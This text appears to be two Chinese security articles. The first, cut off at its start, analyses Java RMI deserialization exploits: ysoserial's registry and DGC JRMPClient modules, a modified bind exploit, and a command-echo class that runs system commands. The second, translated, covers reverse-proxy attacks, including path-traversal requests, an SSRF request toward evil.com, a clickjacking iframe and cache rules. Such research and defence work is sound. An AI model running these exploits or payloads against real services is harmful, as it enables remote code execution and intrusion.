* 动态代理之后的对象：调用实现Remote接口的绑定代理的对象的任意方法都会自动被拦截，前往`sun.reflect.annotation.AnnotationInvocationHandler`的invoke方法执行。
简单看下是怎么ysoserial是怎么样完成动态代理的，即`ysoserial.payloads.util.Gadgets#createMemoitizedProxy`的实现：
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
//Map是我们传入的，需要填充进入AnnotationInvocationHandler构造方法中的对象。
//iface是被动态代理的接口
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
//这里创建了一个`sun.reflect.annotation.AnnotationInvocationHandler`拦截器的对象
//传入了我们含有payload的map，进入构造方法，会在构造方法内进行赋值给对象的变量
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
//正式开始绑定代理动态代理
//ih 拦截器
//iface 需要被代理的类
//ifaces 这里没有
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface;
if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
//上面整合了一下需要代理的接口到allIfaces里面
//然后Proxy.newProxyInstance，完成allIfaces到ih的绑定
//（Gadgets.class.getClassLoader()就是获取了一个加载器，不用太管）
//iface.cast是将获取的绑定结果对象转变为iface（即Remote）的对象类型
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}
这边就完成了一个通过 **动态代理** 封装成了一个Remote.class的接口对象，这样就可以在客户端正常调用`registry.bind(name,
remote);`了，因为bind的接口这么定义了需要Remote对象。
public void bind(String name, Remote obj)
throws RemoteException, AlreadyBoundException, AccessException;
那么我们传输过去了我们的remote动态代理对象，在服务端解析过程中与动态代理有关系么？
**答案是：P关系都没有！**
上面可以看到我们的使用的是yso-cc1的payload去在jdk1.7u80中触发payload：而cc1的触发同样使用到了动态代理机制，该payload在服务端的触发与动态代理也息息相关：
* cc1的payload是一个AnnotationInvocationHandler对象，跟上面类似，在其构造的时候，我们把一个 **动态代理到AnnotationInvocationHandler.invoke方法的map** 塞入了其memberValues属性中
* 在服务端触发var.readobject()时，会进入AnnotationInvocationHandler类的readobject()
* 在readobject()中会执行`this.memberValues.entrySet()`。entrySet，这是一个map的方法。根据动态代理性质，我们绑定了map的方法到AnnotationInvocationHandler.invoke方法，所以这边就会进入invoke方法。
* 同时我们还在这个处心积虑想进来的invoke方法的AnnotationInvocationHandler对象中又弄了一个lazyMap在memberValues属性中！只要触发了这个lazyMap的get方法就等于成功。（之后复杂的就略了）
* 而AnnotationInvocationHandler.invoke方法中刚好有`this.memberValues.get(var4);`，而这个this.memberValues就是lazyMap。
这边简单讲了下动态代理在一般序列化链中的作用，就是 **连接一个类的任意方法到一个拦截器的invoke方法（到invoke方法！）**
而在这边Ysoserial通过动态代理产生的 **remote对象丝毫没有用到动态代理核心的特点（到invoke方法中）** 。
它实际做的只是把payload放在一个remote接口的类的属性里面。然后在服务端反序列化的时候，利用反序列化一个对象的过程中会递归类的属性进行反序列化的特点，来反序列化我们的payload，从而触发漏洞。
使用动态代理只是因为：动态代理也同样可以做到把payload放在AnnotationInvocationHandler拦截器的属性里面，然后动态代理可以把拦截器包装成任意类接口，如下：
同样我们也可以不用动态代理，自己实现一个remote接口的类，然后放入payload，效果是一样的。
修改一点点：`ysoserial.exploit.RMIRegistryExploit#exploit`
//加个Remote接口的类，要支持序列化
private static class BindExploit implements Remote, Serializable {
//弄个地方放payload
private final Object memberValues;
private BindExploit(Object payload) {
memberValues = payload;
}
}
public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();
//yso动态代理包装
//Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
//自己包装
Remote remote_lala = new BindExploit(payload);
try {
//registry.bind(name, remote);
//自己包装
registry.bind(name, remote_lala);
} catch (Throwable e) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
return null;
}});
}
这里有一个不是很清楚的问题，自实现remote接口往里放入payload，在RMI客户端有这个类，那序列化传输到RMI服务端，
**服务端环境里是没有这个类的，是否会报错，无法利用** ？？
本地测试实际上是两个java项目，攻击方yso项目，服务方RMIserialize项目，因此环境是不通的。
测试报错可以证明，是找不到这个类的，但是却不影响利用。
可以从报错信息中看到是ClassNotFound的，但是仍然弹框成功。大概的理由猜测应该是反序列化恢复一个类的时候会先去处理好他的序列化变量，再去进行组装恢复成类。我们触发payload的过程是恢复他的序列化变量的时候，而之后找得到找不到这个类就不重要了。
>
> 这个ysoserial用动态代理去实现remote接口封装payload的操作真的让我迷惑了好久，我一直以为服务端payload触发和动态代理的特性有关(由于CC链是这样的，想当然这样了)。网上的文章大多一笔带过，这边再次感谢0kami大佬QAQ，沟通是真的解惑。
### RMIattack - Bind + 回显
在反序列化利用的时候，常常遇到你一个payload打过去，但是对方没反应，你也不知道对方执行了命令没有。命令执行结果回显一直是一个很头疼的问题。RMIattack工具解决了命令回显的问题。
这个工具在Ysoserial-RMIRegistryExploit模块的基础上（同样是用动态调用封装payload至remote接口类，并且使用的是CC1的payload）通过写入了一个class文件，再调用class文件来执行系统命令的形式，实现命令回显。我们简单看下实现过程。
其攻击步骤主要分为两部分：
1. 先判断系统类型：windows，linux，然后写入一个文件再临时目录。（这里修改了CC链的底层调用函数，yso默认是调用Runtime.getRuntime().exec()，这边改成了write()方法）
* windows的话生成文件`c:/windows/temp/ErrorBaseExec.class`
* linux的话生成`/tmp/ErrorBaseExec.class`
2. 根据操作系统类型，从固定路径loadclass加载class，然后调用其do_exec方法，传入要执行的命令。执行的命令结果会写在抛出异常中，服务器通过异常抛出传输执行结果到客户端，然后客户端解析报错信息获取命令执行结果。
由于在工具代码中，写入的文件直接被写成字节串了，这边可以自己打一下自己，来拿到被写入的文件`ErrorBaseExec.class`
public class ErrorBaseExec {
public ErrorBaseExec() {
}
//解析
public static String readBytes(InputStream var0) throws IOException {
BufferedReader var1 = new BufferedReader(new InputStreamReader(var0));
StringBuffer var2 = new StringBuffer();
String var3;
while((var3 = var1.readLine()) != null) {
var2.append(var3).append("\n");
}
String var4 = var2.toString();
return var4;
}
public static void do_exec(String var0) throws Exception {
try {
//执行命令
Process var1 = Runtime.getRuntime().exec(var0);
//解析执行结果
String var2 = readBytes(var1.getInputStream());
//抛出异常到客户端
throw new Exception("8888:" + var2);
} catch (Exception var3) {
if (var3.toString().indexOf("8888") > -1) {
throw var3;
} else {
throw new Exception("8888:" + new String(var3.toString()) + "\r\n");
}
}
}
public static void main(String[] var0) throws Exception {
do_exec("cmd /c dir");
}
}
写入文件，在调用文件，通过报错信息传递命令执行结果，也算是一种思路。
### JEP290修复
在JEP290规范之后，即JAVA版本6u141, 7u131, 8u121之后，以上攻击就不奏效了。
在8u112，使用cc链5打一波，可以正常攻击
在8u161，使用cc链5攻击，就不可以了:`REJECTED`
在`sun.rmi.registry.RegistryImpl#registryFilter`处下断点，然后开始调试，往回看，可以发现过滤器是在`obj.readObject()`语句中的JDK底层进入的，这是JEP在底层实现过滤机制导致的。反序列化动作和过滤器机制都在readObject语句中，这样就不存在逻辑上的跳过、绕过过滤器。
看`sun.rmi.registry.RegistryImpl#registryFilter`：
private static Status registryFilter(FilterInfo var0) {
//这里registryFilter为空跳过该判断
if (registryFilter != null) {
Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}
//不允许输入流的递归层数超过20层，超过就报错
if (var0.depth() > 20L) {
return Status.REJECTED;
} else {
//获取输入流序列化class类型到var2
Class var2 = var0.serialClass();
//判断是否为null，null就报错
if (var2 == null) {
return Status.UNDECIDED;
} else {
//判断是否为数组类型
if (var2.isArray()) {
//数组长度大于10000就报错
if (var0.arrayLength() >= 0L && var0.arrayLength() > 10000L) {
return Status.REJECTED;
}
//获取到数组中的成分类，假如是还是数组嵌套，继续获取
do {
var2 = var2.getComponentType();
} while(var2.isArray());
}
//判断是不是JAVA基元类型，就是 绕过Object类型参数 小章中的那些基本类
//是基本类就允许
if (var2.isPrimitive()) {
return Status.ALLOWED;
} else {
//判断我们的输入的序列化类型是否为以下的几类class白名单之中
//如果我们输入的类属于下面这些白名单的类或超类，就返回ALLOWED
//不然就返回REJECTED报错。
return String.class != var2 &&
!Number.class.isAssignableFrom(var2) &&
!Remote.class.isAssignableFrom(var2) &&
!Proxy.class.isAssignableFrom(var2) &&
!UnicastRef.class.isAssignableFrom(var2) &&
!RMIClientSocketFactory.class.isAssignableFrom(var2) &&
!RMIServerSocketFactory.class.isAssignableFrom(var2) &&
!ActivationID.class.isAssignableFrom(var2) &&
!UID.class.isAssignableFrom(var2) ?
Status.REJECTED : Status.ALLOWED;
}
}
}
}
但是我们发现我们传入的payload object是一个Remote.class接口呀，这样不是就是在白名单了么。
实际上一开始是可以通过过滤器检测，但是readobject会把对象一层层递归拆开一个个经过过滤器检查，最后在`AnnotationInvocationHandler`处就被白名单拦下来了。
也没有说有哪个链的payload刚好可以通过白名单，所以在JEP290之后对于注册端的攻击就被拦截了。
### 注册端对于服务端地址校验的变动
在 RMI 反序列化一文中，我们有实验过：在默认情况下，服务端向注册端进行bind等操作，是会验证服务端地址是否被注册端允许的（默认是只信任本机地址）。
但是我们在上面利用过程中， **攻击者（服务端）都不是受害者（注册端）的信任地址，为何没有被这个验证机制所拦截呢？**
原因是因为，这个 **注册端对于服务端的验证在反序列化操作之后** ：
我们以8u112为例来看代码：
`sun.rmi.registry.RegistryImpl#bind`：
public void bind(String name, Remote obj)
throws RemoteException, AlreadyBoundException, AccessException
{
//此处验证
checkAccess("Registry.bind");
synchronized (bindings) {
Remote curr = bindings.get(name);
if (curr != null)
throw new AlreadyBoundException(name);
bindings.put(name, obj);
}
}
在8u141之后，JDK代码对于此处验证逻辑发生了变化：变成 **先验证再反序列化操作** 了，等于服务端攻击注册端变为不可用。
我们来看161与112的对比情况
那么单单从验证服务端逻辑来说，8u141之后，服务端bind之类的打注册端变得不可利用。但是客户端lookup打注册端因为不需要验证，不受这个变动影响。
但是对比上面的版本JEP290的封堵，自从8u121，客户端lookup打，服务单bind打就都不可利用了。这边的改动其实意义不大，但是还是之前注意到过，领出来提一下。
> 但是假如可以JEP290绕过了，这里就变得非常有意思了，8u141之后lookup可以利用，bind不能利用。
## RMI DGC层反序列化
> 网上的文章讲到RMI的DGC层，经常总结说到：是为了绕过RMI注册端jdk8u121后出现的白名单限制才出现的。
>
> 这也是对的，但是也不是完全对。一开始我也是因为ysoserial中的exploit模块和payload模块弄混了搞不清楚。在开始前我们需要区分：
>
> ysoserial的payload JRMPClient 是为了绕过jdk8u121后出现的白名单限制。这利用到了DGC层，所以上面句话也是对的。
>
> ysoserial的exploit JRMPClient 是可以直接利用DGC层攻击RMI注册端的，其基础原理跟ysoserial-> RMIRegistryExploit几乎是一样的。同时这种攻击方式是绕过不过jdk8u121的。
>
> 我们接下来讲到的是 ysoserial的exploit JRMPClient。而payload JRMPClient与绕过jdk8u121将在下篇说到。
### DGC客户端打DGC服务端
我们先来看与Bind攻击类似的另外一条更为底层的攻击路径：ysoserial的exploit JRMPClient 。
先来演示下攻击效果：依旧是8u111的ServerAndRegister起服务端 ，客户端使用yso的exploit JRMPClient 模块
可以攻击成功。
那么回过头来看看原理：[DGC（Distributed Garbage
Collection）——分布式垃圾回收机制](https://www.apiref.com/java11-zh/java.rmi/java/rmi/dgc/DGC.html)。
这个DGC是用于 **维护服务端中被客户端使用的远程引用才存在的** 。其中包括两个方法 **dirty** 和 **clean** ，简单来说：
* 客户端想要使用服务端上的远程引用，使用dirty方法来注册一个。同时这还跟租房子一样，过段时间继续用的话还要再调用一次来续租。
* 客户端不使用的时候，需要调用clean方法来清楚这个远程引用。
由于我们的RMI服务就是基于远程引用的，其底层的远程引用维护就是就是使用DGC，起一个RMI服务必有DGC层。于是我们就打这个DGC服务。
> 相对于RMIRegistryExploit模块，这个模块攻击范围更广因为RMI服务端或者RMI注册端都会开启DGC服务端。
看看DGC服务端最后是哪里触发了反序列化执行：`sun.rmi.transport.DGCImpl_Skel#dispatch`
（跟`sun.rmi.registry.RegistryImpl_Skel#dispatch`）极其类似
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
//一样是一个dispatch用于分发作用的方法
//固定接口hash校验
if (var4 != -669196253586618813L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
DGCImpl var6 = (DGCImpl)var1;
ObjID[] var7;
long var8;
//判断dirty和clean分支流
switch(var3) {
//clean分支流
case 0:
VMID var39;
boolean var40;
try {
//从客户端提供的输入流取值
ObjectInput var14 = var2.getInputStream();
//对于取值进行反序列化，***漏洞触发点***
var7 = (ObjID[])var14.readObject();
var8 = var14.readLong();
var39 = (VMID)var14.readObject();
var40 = var14.readBoolean();
} catch (IOException var36) {
throw new UnmarshalException("error unmarshalling arguments", var36);
} catch (ClassNotFoundException var37) {
throw new UnmarshalException("error unmarshalling arguments", var37);
} finally {
var2.releaseInputStream();
}
//进行clean操作，已经完成了攻击，之后操作已经不重要了。
var6.clean(var7, var8, var39, var40);
//..省略部分无关操作
//dirty方法分支流，跟clean在漏洞触发点上是一样没差的
case 1:
Lease var10;
try {
//从客户端提供的输入流取值
ObjectInput var13 = var2.getInputStream();
//对于取值进行反序列化，***漏洞触发点***
var7 = (ObjID[])var13.readObject();
var8 = var13.readLong();
var10 = (Lease)var13.readObject();
} catch (IOException var32) {
throw new UnmarshalException("error unmarshalling arguments", var32);
} catch (ClassNotFoundException var33) {
throw new UnmarshalException("error unmarshalling arguments", var33);
} finally {
var2.releaseInputStream();
}
Lease var11 = var6.dirty(var7, var8, var10);
//..省略无关操作
default:
throw new UnmarshalException("invalid method number");
}
}
一致的漏洞触发点，没问题。可以看到这里触发点的话无论是选dirty那条线还是clean那条线都是一样的。
那客户端怎样与服务端通讯呢，之前RMIRegistryExploit是`bind（name,payload）`这里插入payload，然后传输到服务端。
**DGC这里我们客户端在哪里可以插入payload？**
此处我自己并没有找到一个与`bind()`类似的封装好的方法，可以方便我们调试的直接发起一个DGC层的请求。但是我们在`sun.rmi.server.UnicastRef#invoke(java.rmi.server.RemoteCall)`处下一个断点，然后在`sun.rmi.transport.DGCImpl#dirty`下一个断点，调试github上的ServerAndRegister.java就可以得到这个DGC层的通讯客户端-服务端的过程（是在bind()绑定对象的时候产生的通讯）
> 跟RMI-> register这些一样，DGCImpl_Skel是服务端代码，DGCImpl_Stub是客户端代码；但是这两个class也跟我们之前说的一样（动态生成？），总之是无法下断点调试的。所以在其内部调用的其他方法下断点来调试。
>
>
> 然后感谢[这个老哥](https://www.anquanke.com/post/id/204740)给了个例子，客户端lookup也会产生DGC通讯。（其实大多操作都会有DGC，这里抄一下放在github中嘿嘿）但是仍然先来看ServerAndRegister.java的通讯
DGC客户端处：
DGC服务端处：
根据客户端调用栈来回退到`DGCImpl_Stub`的`dirty`方法，去看应该在哪里插入payload（clean其实也一样）就看`sun.rmi.transport.DGCImpl_Stub#dirty`好了
public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
try {
//开启了一个连接，似曾相识的 669196253586618813L 在服务端也有
RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);
try {
//获取连接的输入流
ObjectOutput var6 = var5.getOutputStream();
//写入一个对象，在实现的本意中，这里是一个ID的对象列表ObjID[]
//***这里就是我们payload写入的地方***
var6.writeObject(var1);
//------ var6.writeLong(var2);
var6.writeObject(var4);
} catch (IOException var20) {
throw new MarshalException("error marshalling arguments", var20);
}
super.ref.invoke(var5);
Lease var24;
try {
ObjectInput var9 = var5.getInputStream();
var24 = (Lease)var9.readObject();
//省略大量错误处理..
}
这里我们就找到了DGC客户端该放payload的地方，和DGC服务端触发反序列化的地方。
接下就是去实现一个POC，把payload放进去。可以发现我们去寻找的DGC客户端该放payload的地方调用栈很深，这代表着我们从顶层开始传输payload一直到我们想要放置payload的参数，payload不变可能性极低或难度极大。所以针对这种很底层的payload的poc构建通常使用自实现一个客户端去拼接序列化数据包。
Ysoserial的JRMP-Client exploit模块就是这么实现的，其核心在于`makeDGCCall`方法：
//传入目标RMI注册端（也是DGC服务端）的IP端口，以及攻击载荷的payload对象。
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
//建立一个socket通道，并为赋值
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
//读取socket通道的数据流
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
//*******开始拼接数据流*********
//以下均为特定协议格式常量，之后会说到这些数据是怎么来的
//传输魔术字符：0x4a524d49（代表协议）
dos.writeInt(TransportConstants.Magic);
//传输协议版本号：2（就是版本号）
dos.writeShort(TransportConstants.Version);
//传输协议类型: 0x4c (协议的种类，好像是单向传输数据，不需要TCP的ACK确认)
dos.writeByte(TransportConstants.SingleOpProtocol);
//传输指令-RMI call：0x50
dos.write(TransportConstants.Call);
@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
//DGC的固定读取格式，等会具体分析
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
//选取DGC服务端的分支选dirty
objOut.writeInt(1); // dirty
//然后一个固定的hash值
objOut.writeLong(-669196253586618813L);
//我们的反序列化触发点
objOut.writeObject(payloadObject);
os.flush();
}
}
简单分析了一下POC数据包的构成，但是还是尝试搞清楚为什么是这个拼接顺序，为什么要这个值，感觉好玩一些。
我们可以通过在DGC服务端，CC链最终的触发处`org.apache.commons.collections.functors.InvokerTransformer#transform`处下一个断点，然后客户端使用YSO的exploit
JRMPClient攻击服务端，从而得到受攻击服务端的调用栈，然后再回过头分析。
可以得到下面调用栈，在1-5的地方均有POC生成序列化数据必须满足的条件。
具体的因为好玩画了一张POC与服务端解析位置一一对应的图，图中有具体的反序列化点的方法以及行数同时用Qx来做了对应。（呼，1个小时作图..真爽，协议可以参考[官方文档](https://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-protocol3.html)）
payload触发点没有在上面的图上，因为之前刚分析过了在`sun.rmi.transport.DGCImpl_Skel#dispatch`，这里没放进去。
此外DGC固定读取格式也是固定的，在`sun.rmi.transport.Transport#serviceCall`读取了参数之后进行了校验
try {
id = ObjID.read(call.getInputStream());
} catch (java.io.IOException e) {
throw new MarshalException("unable to read objID", e);
}
/* get the remote object */
//该dgcID是一个常量，此处进行了验证
Transport transport = id.equals(dgcID) ? null : this;
//根据读取出来的id里面的[0，0，0]（三个都是我们序列化写入的值）分别是：
//1.服务端uid给客户端的远程对象唯一标识编号
//2.远程对象有效时长用的时间戳
//3.用于同一时间申请的统一远程对象的另一个用于区分的随机数
//服务端去查询这三个值的hash，判断当前DGC客户端有没有服务端的远程对象
//就是dirty，clean那一套东西
Target target =
ObjectTable.getTarget(new ObjectEndpoint(id, transport));
if (target == null || (impl = target.getImpl()) == null) {
throw new NoSuchObjectException("no such object in table");
}
dgcID：
//dgcID位置sun.rmi.transport.Transport
/** ObjID for DGCImpl */
private static final ObjID dgcID = new ObjID(ObjID.DGC_ID);
//ObjID.DGC_ID位置：java.rmi.server.ObjID
public static final int DGC_ID = 2;
而这里的2之后的三个0，我们因为攻击服务端，没有去服务端获取过远程对象所以都写成0即可，不然会报错。
至此DGC层的原理分析以及Ysoserial exploit
JRMPClient模块原理分析就完成了。仔细分析自主构建的POC之后会发现这种看着小齿轮完美切合的感觉，相当美感。
### JEP290修复
在JEP290规范之后，即JAVA版本6u141, 7u131, 8u121之后，以上攻击就不奏效了。
同样被白名单过滤了，`sun.rmi.transport.DGCImpl#checkInput`过滤器：
private static Status checkInput(FilterInfo var0) {
//与`sun.rmi.registry.RegistryImpl#registryFilter`处过滤器完全一致
if (dgcFilter != null) {
Status var1 = dgcFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}
if (var0.depth() > (long)DGC_MAX_DEPTH) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 == null) {
return Status.UNDECIDED;
} else {
while(var2.isArray()) {
if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGC_MAX_ARRAY_SIZE) {
return Status.REJECTED;
}
var2 = var2.getComponentType();
}
if (var2.isPrimitive()) {
return Status.ALLOWED;
} else {
//4种白名单限制
return var2 != ObjID.class &&
var2 != UID.class &&
var2 != VMID.class &&
var2 != Lease.class ? Status.REJECTED : Status.ALLOWED;
}
}
}
}
## 为什么RMI客户端利用传递参数反序列化攻击RMI服务端就不受JEP290限制
那是因为JEP290提供了一些系列过滤器形式：进程级过滤器、自定义过滤器、内置过滤器。但是默认只为 **RMI注册表** 和 **RMI分布式垃圾收集器**
提供了相应的内置过滤器。这两个过滤器都配置为白名单，即只允许反序列化特定类。（就像我们上面看到的一样）
但是RMI客户端利用参数反序列化攻击没有也不能跟 **RMI注册表** 和 **RMI分布式垃圾收集器**
一样使用内置白名单过滤器。使用了，全给你白名单拦截了，我还怎么序列化传输参数数据，参数数据我甚至要自定义一个类，咋可能在你这小小的白名单中？
这就是安全性与实际使用场景相冲突导致的，已知的但是迫不得已无法修复的漏洞。
## 小结
探测利用开放的RMI服务：
1. 实际上就是蒙，赌它有这些漏洞RMI服务。
RMI客户端反序列化攻击RMI服务端：
1. 不一定是要Object类型的接口才行，只要不是基本类型的参数都可以利用。
RMI服务端反序列化攻击RMI注册端：
1. RMI服务端利用bind攻击注册端的时候，找各种办法把payload变成remote接口这个举动是非必须的，注册端反序列化触发压根不校验。只是为了exp实现而已。
2. 在将payload变成remote接口的过程中，利用到动态代理，但是压根没有利用到动态代理的"拦截器特性"，只是利用了动态代理可以将任意对象转化接口形式的特性。
3. 在8u141之后，在利用bind等服务端对于注册端发起的操作时，会因为注册端对于服务端有地址验证而失效。
4. 利用lookup操作，作为客户端对于注册端发起请求，可以绕过上面的地址验证。
## 参考
参考统一放在下篇中 | 社区文章 |
文章来源：<https://www.acunetix.com/blog/articles/a-fresh-look-on-reverse-proxy-related-attacks/>
* * *
让我们接着上节的内容，继续探讨。建议读者先阅读第一部分，这将有助于理解本节的内容。
### 服务端攻击
#### 请求错误路由
**例子2**
这是关于Nginx的一个“bug”，准确的说它只是Nignx正常工作导致的（因此不会被修复）。
首先，服务器配置的规则为`location
/to_app`，即`/to_app`是作为后面添加字符的前缀。因此，`/to_app`,`/to_app/`,`/to_app_anything`（包括特殊符号）都可以通过该规则。并且，`/to_app`后面的字符将被提取并与`proxy_pass`联合（解析）起来。
Nginx处理完`/to_app_anything`后，其转发（到后端服务器）的请求格式为`http://server/any_path/_anything`。
location /to_app {
proxy_pass http://server/any_path/;
}
如果将这些特性结合起来，可以发现我们可以遍历后端服务器的所有位置。只需发送这样的请求：
GET /to_app../other_path HTTP/1.1
解释：首先`/to_app`与Nginx规则相匹配，然后Nginx提取出`../other_path`，再与`proxy_pass`的`/any_path/`相结合，最终转发的请求为：`http://server/any_path/../other_path`。当后端服务器解析完毕后，我们就能够进入想要的目录。
**例子3**
在上篇文章开头，我已经介绍了反向代理服务器会根据主机头来转发请求至后端。
这里我使用Haproxy来举个例子。我将Haproxy配置为所有主机头为`example1`的请求都将转发至名为`example1_backend` –
`192.168.78.1:9999`的后端服务器。
frontend http-in
acl host_example1 hdr(host) -i example1.com
use_backend example1_backend if host_example1
backend example1_backend
server server1 192.168.78.1:9999 maxconn 32
对于这样的配置，攻击者似乎无法再访问后端的其他服务器？其实不然，攻击者可以轻易突破防线。因为Haproxy 不支持`Absolute
URI`（上篇文章中介绍过了），然而大部分web服务器都支持此协议。当Haproxy 收到包含`Absolute
URI`的请求时，它不会对`Absolute URI`做任何处理，直接转发至后端。因此，我们可以发送以下请求来访问其他后端服务器。
GET http://unsafe-value/path/ HTTP/1.1
Host: example1.com
那么，我们可以通过反向代理来访问其后端的任意服务器？其实在大多数情况下(Nginx, Haproxy,
Varnish)，这并不能轻松实现，但是Apache（某些版本）则可以。Apache从`ProxyPass`“解析”提取主机值，因此我们可以发送类似`GET
@evil.com
HTTP/1.1`的请求，Apache将其视为`http://[email protected]`，然后请求`evil.com`（你知道的，这可以导致SSRF攻击）。[这里](https://www.contextis.com/blog/server-technologies-reverse-proxy-bypass)有一个此类攻击的例子。
### 客户端攻击
其实你再回过头细想方向代理的特性，你会发现只要与响应相关，就会有潜在的客户端攻击向量。由于浏览器在发送请求前通常会做一些处理，因此这类攻击有一些额外的限制，这将导致服务器会有非预期的表现。
#### 浏览器处理
在一次客户端攻击中，攻击者需要强制受害者浏览器发送一个特殊的请求，然后服务器做出响应。但是，浏览器会遵循一些规范来处理路径，然后再发送请求。
**浏览器会解析该URL（例如抛弃fragment部分），对某些必要的符号进行URL编码处理（或许不会），然后在使路径变得规范化**
。因此，我们要想实施这种攻击，我们只能发送一个“有效”的请求。该请求必须切合这三个组件（浏览器，反向代理，后端服务器）。
当然，不同浏览器的实现（请求）存在差异，再加上一些特性上的区别，可以使我们找到一个切合点：
* 例如，Chrome和IE不会解码`%2f`，因此它们将不对`/path/anything/..%2f../`这样的路径做规范化处理。
* 在规范化处理之前，老版本的Firefox不做URL解码，但现在它和Chrome有类似的工作方式。
* Safari不对路径做URL解码处理，因此我们可以强制（浏览器）原封不动地发送`/path/%2e%2e/another_path/`。
* 说起IE，它还是一如既往的奇特。如果主机头为本地地址，那么它不会对路径做任何处理。
#### 滥用标头修改功能
对于反向代理服务器来说，增添，删除和修改后端请求中的标头是一项基本功能。有些情况在，这比修改后端本身简单的多。有时，反向代理会添加一些重要的安全标头。作为攻击者的我们，想要利用这些规则来使反向代理服务器做出错误的响应（通过滥用后端位置标头），从而攻击其他用户。
假如我们使用Nginx作为代理，Tomcat作为后端。Tomcat默认设置了`X-Frame-Options:
deny`标头，所以浏览器无法将其嵌入frame中。由于某些原因，Tomcat
web应用的一个组件（`/iframe_safe/`）必须通过iframe访问，因此Nginx配置中删除了`X-Frame-Options`标头。然而，为了服务器为了防范`clickjacking`（点击劫持）攻击，做了`iframe_safe`设置：
location /iframe_safe/ {
proxy_pass http://tomcat_server/iframe_safe/;
proxy_hide_header "X-Frame-Options";
}
location / {
proxy_pass http://tomcat_server/;
}
其实，作为攻击者的我们可以构造符合Nginx的`iframe_safe`规则，又能被后端Tomcat解析为完全不同的（访问）位置：
<iframe src="http://nginx_with_tomcat/iframe_safe/..;/any_other_path">
浏览器不会对其做规范化处理。这又符合Nignx的`iframe_safe`规则。Tomcat支持路径中插入参数，取`/any_other_path`。所以在这样的配置下，通过frame可以访问Tomcat的所有位置，这将导致`clickjacking`（点击劫持）攻击。
做一些思维发散，我们可以利用它来滥用其他安全有关的标头（例如：CORS, CSP）。
#### 缓存
缓存是最有趣的攻击向量之一，对于各类攻击都有很好的开发潜力。但是在反向代理领域利用缓存（攻击的方法）仍然鲜为人知。最近，与缓存相关的攻击越来越受关注了，网上有一些很酷的研究例如[Web缓存欺骗](http://omergil.blogspot.ru/2017/02/web-cache-deception-attack.html)和[实用的Web缓存中毒](https://i.blackhat.com/us-18/Thu-August-9/us-18-Kettle-Practical-Web-Cache-Poisoning-Redefining-Unexploitable.pdf)。在本篇文章中我也关注到了缓存：我想要分析出缓存的各种实现，从而有助于研究出缓存欺骗和缓存中毒攻击的方法。
##### 它是如何工作的
我将介绍一些反向代理中关于缓存的要点，这将帮助你理解这类攻击。
实现缓存的方式很简单。在某些情况下，一台反向代理服务器会将来自后端的响应存储到缓存中，以后直接调用缓存而不用访问后端服务器。一些反向代理服务器默认支持缓存，另一些则要求用户自行配置。一般来说，反向代理服务器会使用缓存标志，该标志与请求的主机头值和路径相关联。
反向代理对某个响应缓存与否，它会先检查请求中的`Cache-Control`和`Set-Cookie`标头。反向代理不会对存在`Set-Cookie`标头的请求做任何缓存，但是对于`Cache-Control`有些不同。它会将其视为缓存策略，请求额外的解析。`Cache-control`标头框架非常复杂，但是有基本的功能标志，例如决定是否缓存，设置缓存时限等。
`Cache-control`标头形式有下面这些：
Cache-Control: no-cache, no-store, must-revalidate
Cache-Control: public, max-age=31536000
第一个是禁止反向代理缓存，第二个相反。`Cache-control`标头滥用是允许反向代理储存响应。
大量的web服务器，应用服务器和框架自动且正确地设置`Cache-control`标头。在大部分情况下，如果web应用的某个脚本使用了`session`功能，那么该应用会严格设置`Cache-control`标头的缓存功能，因此如遇到这种情况，开发者不需要考虑（安全）。然而有例外，例如，如果web应用使用它自己的`session`安全机制，`Cache-control`标头可能会存在漏洞。
##### 攻击
反向代理的一个常用功能是“积极缓存”（这不是官方词汇，但可以描述其作用）。在一种情况下（后端严格限制，完全不允许缓存），管理员没有修改后端，而是修改反向代理规则，修改严格的`Cache-control`标头从而开启了缓存响应。这时，管理员一般都会错误设置。例如，只缓存响应中某些扩展名（`.jpg`, `.css`,
`.js`）或者某个路径（`/images/`）。
如果是这种情况，攻击者可以创建符合反向代理规则又被后端误判的路径。
这里还是Nginx+Tomcat的组合。下面这条规则强制使Nginx缓存Tomcat上`/images`目录的所有响应。
location /images {
proxy_cache my_cache;
proxy_pass http://tomcat_server;
proxy_cache_valid 200 302 60m;
proxy_ignore_headers Cache-Control Expires;
}
